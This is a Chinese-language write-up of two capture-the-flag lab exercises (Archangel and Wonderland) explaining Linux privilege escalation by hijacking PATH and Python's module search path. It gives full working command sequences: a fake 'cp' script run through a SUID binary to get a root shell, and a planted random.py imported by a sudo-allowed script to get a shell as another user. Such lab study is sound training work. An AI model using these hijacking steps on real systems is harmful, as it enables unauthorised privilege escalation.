:::info PATH 在 Linux 中有着至关重要的地位,我们执行的应用程序在 Linux 执行时,需要按照 PATH 进行查找

:::

  1. $ echo $PATH # 查看 PATH

分析

我们知道 Linux 在执行一个命令比如: ls 时,会按照 PATH 中的各项值进行逐项查找,知道找到 ls 可执行程序,这一切本没有什么问题,但是如果我们 劫持 此可执行程序呢?

如果我们可以实现 劫持 此程序,那么当执行 ls 时,就会执行我们所编写的脚本。

(下面我们将以 Python Path 和 Linux Path 介绍)

Linux Path

我将会以一个实际的靶场进行介绍

Archangel

在这个靶场中,存在一个 SUID 可执行程序 backup, 在该程序中存在一条执行:cp /home/user/archangel/myfiles/* /opt/backupfiles 该指令在执行时,会根据 PATH 变量的值逐个查找 cp 可执行程序,这时候如果我们在用户家目录目录创建一个 cp 可执行程序,并且修改环境变量,那么我们就可以实现 劫持 cp 命令

  1. archangel@ubuntu:/home$ echo $PATH
  2. /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
  3. archangel@ubuntu:~$ echo '#!/bin/bash' > cp
  4. archangel@ubuntu:~$ echo "/bin/bash" >> cp
  5. archangel@ubuntu:~$ chmod +x cp
  6. archangel@ubuntu:~$ cat cp
  7. #!/bin/bash
  8. /bin/bash
  9. archangel@ubuntu:~$ export PATH=$PWD:$PATH
  10. archangel@ubuntu:~$ echo $PATH
  11. /home/archangel:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
  12. archangel@ubuntu:~$ cd secret/
  13. archangel@ubuntu:~/secret$ ./backup
  14. root@ubuntu:~/secret# id
  15. uid=0(root) gid=0(root) groups=0(root),1001(archangel)

从执行中我们可以看到 backup可执行程序执行了我们定义的 cp 可执行程序

Python Path

利用 Python Path 进行提权和 借助 Linux Path 提权思路一样,都是 劫持只不过 Linux Path 是劫持 命令而 Python Path 是借助 py 函数

Wonderland

在上面这个示例中,我们可以发现用户可以以 rabbit 身份运行一个 py 脚本,并且这个 py 脚本中会去调用 random.py 文件

  1. alice@wonderland:~$ sudo -l
  2. [sudo] password for alice:
  3. Matching Defaults entries for alice on wonderland:
  4. env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
  5. User alice may run the following commands on wonderland:
  6. (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

我们创建自己的 random.py 脚本

  1. alice@wonderland:~$ cat random.py
  2. import os
  3. os.system('/bin/bash')
  4. alice@wonderland:~$ ls -al | grep random.py
  5. -rw-rw-r-- 1 alice alice 33 Feb 7 09:17 random.py

修改 Python PATH 变量:

  1. alice@wonderland:~$ python3 -c 'import sys; print (sys.path)'
  2. ['', '/usr/lib/python36.zip', '/usr/lib/python3.6', '/usr/lib/python3.6/lib-dynload', '/usr/local/lib/python3.6/dist-packages', '/usr/lib/python3/dist-packages']

‘’ : 表明先从当前目录查找

现在我们执行程序

  1. alice@wonderland:~$ id
  2. uid=1001(alice) gid=1001(alice) groups=1001(alice)
  3. alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
  4. rabbit@wonderland:~$ id
  5. uid=1002(rabbit) gid=1002(rabbit) groups=1002(rabbit)

可以看到提权成功,并且 walrus_and_the_carpenter.py成功调用了我们创建的 random.py 文件